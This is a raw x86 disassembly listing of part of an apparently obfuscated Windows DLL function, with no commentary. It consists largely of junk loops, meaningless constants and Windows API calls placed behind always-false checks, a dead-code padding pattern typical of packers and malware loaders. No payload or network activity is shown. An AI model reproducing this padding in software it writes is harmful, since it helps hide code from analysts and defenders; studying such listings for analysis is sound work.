cmp dword [ebp - 0x18], 2
jge 0x1002bf65
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb80], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002bf4c
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002bf7b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdc8], 0xb6fb96f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002bf6a
mov eax, dword [ebp - 0x27c]
imul eax, dword [ebp - 0x44]
test eax, eax
je 0x1002bfd3
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, dword [ebp - 0x284]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xa61f
mov edx, dword [ebp - 0x34]
setl al
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x280]
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x27c], eax
je 0x1002bfd5
xor esi, esi
lea eax, [esi + 1]
jmp 0x1002bfd5
xor eax, eax
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1002bfe2
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x38], 0xfffffff9
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x430]
dec dword [ebp - 0x430]
mov eax, dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xb80]
mov ecx, dword [ebp - 0x4c]
imul eax, eax, 0x4f98d230
add ecx, eax
mov dword [ebp - 0x44], ecx
je 0x1002c028
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x1002c050
call edi
push eax
call ebx
jmp 0x1002c050
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002c04b
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002c048
push 0x14b3
call edi
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002c02f
inc dword [ebp - 0x27c]
cmp dword [ebp - 0x27c], 0x17
push 1
pop ecx
jge 0x1002bf06
mov esi, dword [sym.imp.USER32.dll_GetParent]
push 3
pop edx
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x658], eax
xor eax, eax
mov dword [ebp - 0x28], 0xc93b4e1
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x28], eax
jmp 0x1002c12b
mov dword [ebp - 0x96c], 4
mov dword [ebp - 0x968], 4
mov dword [ebp - 0x964], 4
mov dword [ebp - 0x960], 4
mov dword [ebp - 0x24], 0x3fbb4ebb
mov dword [ebp - 0x1c], 0xf90a2337
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
jl 0x1002c0f0
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x96c], 0
jne 0x1002c0ee
dec dword [ebp - 0x24]
jns 0x1002c0cd
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002c122
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
jl 0x1002c11c
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002c10b
call edi
push eax
call esi
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x24]
push 0
pop eax
jns 0x1002c0fd
xor ecx, ecx
push 3
inc ecx
pop edx
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffef
jle 0x1002c0f5
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff9
je 0x1002c08f
mov edi, dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
mov dword [ebp - 0x20], 0x1824a8c6
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0xfb96f37d
mov dword [ebp - 0x48], 0x23fa
mov dword [ebp - 0x44], 0x30ae
mov dword [ebp - 0x20], 0xfffffff7
jmp 0x1002c1ab
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x1002c186
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa78], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002c16e
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002c1a3
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002c1a0
push ecx
push 0x74
push eax
push eax
call edi
xor ecx, ecx
xor eax, eax
inc ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002c18b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jne 0x1002c163
mov dword [ebp - 0x20], 0xfffffffd
cmp dword [ebp - 0x20], 0xc
jne 0x1002c33e
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002c1e4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb0], 0x9fb1c038
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c1cc
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002c1fa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x240], 0xafc1da7b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c1e9
mov eax, dword [ebp - 0xb0]
xor eax, eax
cmp dword [ebp - 0xac], eax
je 0x1002c215
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
xor ecx, ecx
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
cmp eax, 0x8932
setge cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
xor eax, eax
imul edx, dword [ebp - 0xac]
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x240], eax
jne 0x1002c2a3
mov dword [ebp - 0x1c], 0x2840cc74
mov eax, dword [ebp - 0x23c]
cmp dword [ebp - 0x1c], eax
je 0x1002c288
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x23c]
jl 0x1002c2dc
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jl 0x1002c32e
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002c2d5
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002c2c1
jmp 0x1002c32b
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002c31c
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002c2f7
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002c319
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb0], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002c300
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffe
jg 0x1002c2e3
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x23c], eax
xor ecx, ecx
inc ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xc
push 0
pop eax
je 0x1002c1c1
mov dword [ebp - 0x30], 0x4bb3
mov dword [ebp - 0x44], 0x3bc5f263
push 3
mov dword [ebp - 0x20], eax
pop edx
cmp dword [ebp - 0x20], edx
jge 0x1002c36f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x29c], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1002c357
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1002c38f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x508], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1002c377
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002c3b1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x460], 0xb1b9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002c398
xor eax, eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x17
jl 0x1002c537
jmp 0x1002c3c8
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], 0xe2d3d478
mov dword [ebp - 0x30], 0xa2ff3e14
mov dword [ebp - 0x28], 0x3adeb945
mov dword [ebp - 0x30], 0xa832
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002c425
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc00], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c40c
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002c43b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdd8], 0xb6fb96f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002c42a
mov eax, dword [ebp - 0x294]
imul eax, dword [ebp - 0x44]
test eax, eax
je 0x1002c493
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xa61f
mov edx, dword [ebp - 0x34]
setl al
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x298]
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x294], eax
je 0x1002c495
xor esi, esi
lea eax, [esi + 1]
jmp 0x1002c495
xor eax, eax
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1002c4a2
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x38], 0xfffffff9
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x460]
dec dword [ebp - 0x460]
mov eax, dword [ebp - 0xdcc]
mov eax, dword [ebp - 0xc00]
mov ecx, dword [ebp - 0x4c]
imul eax, eax, 0x4f98d230
add ecx, eax
mov dword [ebp - 0x44], ecx
je 0x1002c4ec
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x1002c518
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
jmp 0x1002c518
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002c513
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002c510
push 0x14b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002c4f3
inc dword [ebp - 0x294]
cmp dword [ebp - 0x294], 0x17
push 1
pop ecx
jge 0x1002c3c6
mov esi, dword [sym.imp.USER32.dll_GetParent]
push 3
pop edx
mov eax, dword [ebp - 0x460]
mov dword [ebp - 0x508], eax
xor eax, eax
mov dword [ebp - 0x20], 0x313dd33a
mov dword [ebp - 0x20], eax
jmp 0x1002c62b
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x44], 0xd413053b
mov dword [ebp - 0x18], 0xb
cmp dword [ebp - 0x18], 0x19
je 0x1002c625
mov dword [ebp - 0x38], 0xbd907c4
mov dword [ebp - 0x28], eax
jmp 0x1002c593
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xbd4], 0xfffffff6
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002c582
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002c5d8
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov edx, dword [ebp - 0x20]
sub edx, eax
mov eax, dword [ebp - 0x20]
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xbd0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xbd4]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x38], 0xffffffff
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002c5f0
cmp dword [ebp - 0x20], eax
jne 0x1002c620
jmp 0x1002c60d
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x1002c60d
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x19
push 0
pop eax
push 3
pop edx
jne 0x1002c576
xor ecx, ecx
xor eax, eax
inc ecx
dec dword [ebp - 0x20]
push 3
pop edx
cmp dword [ebp - 0x20], 0xffffffe4
jne 0x1002c554
mov dword [ebp - 0x30], 0x4bb3
mov dword [ebp - 0x44], 0x3bc5f263
push 3
mov dword [ebp - 0x20], eax
pop edx
cmp dword [ebp - 0x20], edx
jge 0x1002c666
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2b4], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1002c64e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1002c686
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x5a8], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1002c66e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002c6a8
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x400], 0xb1b9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002c68f
xor eax, eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x17
jl 0x1002c82b
jmp 0x1002c6bf
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], 0xe2d3d478
mov dword [ebp - 0x30], 0xa2ff3e14
mov dword [ebp - 0x28], 0x3adeb945
mov dword [ebp - 0x30], 0xa832
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002c71c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xaa0], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c703
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002c732
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xde8], 0xb6fb96f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002c721
mov eax, dword [ebp - 0x2ac]
imul eax, dword [ebp - 0x44]
test eax, eax
je 0x1002c78a
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, dword [ebp - 0x2b4]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xa61f
mov edx, dword [ebp - 0x34]
setl al
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x2b0]
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x2ac], eax
je 0x1002c78c
xor esi, esi
lea eax, [esi + 1]
jmp 0x1002c78c
xor eax, eax
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1002c799
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x38], 0xfffffff9
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x400]
dec dword [ebp - 0x400]
mov eax, dword [ebp - 0xddc]
mov eax, dword [ebp - 0xaa0]
mov ecx, dword [ebp - 0x4c]
imul eax, eax, 0x4f98d230
add ecx, eax
mov dword [ebp - 0x44], ecx
je 0x1002c7e3
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x1002c80f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
jmp 0x1002c80f
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002c80a
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002c807
push 0x14b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002c7ea
inc dword [ebp - 0x2ac]
cmp dword [ebp - 0x2ac], 0x17
push 1
pop ecx
jge 0x1002c6bd
mov esi, dword [sym.imp.USER32.dll_GetParent]
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x1c], 0x399841b3
push 8
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x30], 0xc554
mov dword [ebp - 0x30], 0x863e8712
mov dword [ebp - 0x38], 0x52f5
mov dword [ebp - 0x30], 0x52d86a02
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x1002c882
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa88], 0xf69f7fd1
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002c86a
xor eax, eax
mov dword [ebp - 0x1c], 0x10
jmp 0x1002c8f1
mov dword [ebp - 0x30], 0xd149
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0x2eaa29c1
mov dword [ebp - 0x30], 0xfa42b483
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x3a34c865
mov dword [ebp - 0x30], 0x5ed06576
mov dword [ebp - 0x30], 0xf2fdad5a
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002c8eb
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1024], 0x4145c174
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002c8d2
xor eax, eax
dec dword [ebp - 0x38]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffff
je 0x1002c88b
mov dword [ebp - 0x20], 0x1824a8c6
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0xfb96f37d
mov dword [ebp - 0x48], 0x23fa
mov dword [ebp - 0x44], 0x30ae
mov dword [ebp - 0x20], 0xfffffff7
jmp 0x1002c967
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x1002c942
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa98], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002c92a
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002c95f
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002c95c
push ecx
push 0x74
push eax
push eax
call edi
xor ecx, ecx
xor eax, eax
inc ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002c947
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jne 0x1002c91f
mov dword [ebp - 0x20], 0xfffffffd
cmp dword [ebp - 0x20], 0xc
jne 0x1002cafb
xor esi, esi
push 2
inc esi
pop ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c9a3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc8], 0x9fb1c038
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c98b
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002c9b9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x258], 0xafc1da7b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c9a8
mov eax, dword [ebp - 0xc8]
xor eax, eax
cmp dword [ebp - 0xc4], eax
je 0x1002c9d4
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc8]
xor ecx, ecx
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
cmp eax, 0x8932
setge cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
xor eax, eax
imul edx, dword [ebp - 0xc4]
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x258], eax
jne 0x1002ca62
mov dword [ebp - 0x1c], 0x2840cc74
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x254]
je 0x1002ca47
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x258]
cmp eax, dword [ebp - 0x254]
jl 0x1002ca98
mov dword [ebp - 0x18], esi
xor eax, eax
cmp dword [ebp - 0x18], eax
jl 0x1002cae5
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ca91
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002ca7d
jmp 0x1002cae5
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002cad6
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002cab3
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002cad3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc8], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002cabb
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffe
jg 0x1002ca9f
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x254], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xc
push 0
pop eax
je 0x1002c983
mov esi, dword [sym.imp.USER32.dll_GetParent]
mov dword [ebp - 0x30], 5
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002cb1b
push eax
push eax
push 0x670
push eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002cb2c
call dword [sym.imp.USER32.dll_DestroyCaret]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x30], 0xb25b
mov dword [ebp - 0x28], eax
inc ecx
cmp dword [ebp - 0x28], ecx
jge 0x1002cb56
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x120], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002cb3e
xor eax, eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xffffffe5
jle 0x1002cba2
mov dword [ebp - 0x44], 0xfffffffe
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002cb8a
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
mov eax, dword [ebp - 0x44]
dec dword [ebp - 0x120]
cmp dword [ebp - 0x120], 0xffffffe5
push 0
pop eax
jg 0x1002cb65
xor ecx, ecx
inc ecx
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
mov edi, dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 3
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 0x17
pop edx
jmp 0x1002cc34
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x1002cbdd
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x100], 0x85c6f1bf
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002cbc5
xor eax, eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x16
je 0x1002cc31
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002cc08
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002cc1c
push eax
push 0x1a00
push eax
call edi
xor eax, eax
inc dword [ebp - 0x100]
cmp dword [ebp - 0x100], 0x16
jne 0x1002cbec
xor ecx, ecx
push 3
inc ecx
pop edx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
je 0x1002cbbd
mov dword [ebp - 0x10], 0xc93b4e1
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 0x17
jmp 0x1002ccc3
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x1002cc6c
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x104], 0x85c6f1bf
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002cc54
xor eax, eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x16
je 0x1002ccc0
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002cc97
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
je 0x1002cc4c
mov dword [ebp - 0x44], eax
mov ecx, 0x70ad6f2e
mov dword [ebp - 0x3a8], ecx
xor edi, edi
mov dword [ebp - 0x3a4], ecx
inc edi
mov dword [ebp - 0x3a0], ecx
mov dword [ebp - 0x39c], ecx
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002cd15
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x804], edi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002cd00
xor eax, eax
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], eax
jl 0x1002ce81
push 8
pop esi
mov dword [ebp - 0x3c], 0x70a77c87
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x44], 0x7c1ae2ef
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], edx
jg 0x1002cdd0
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002cea1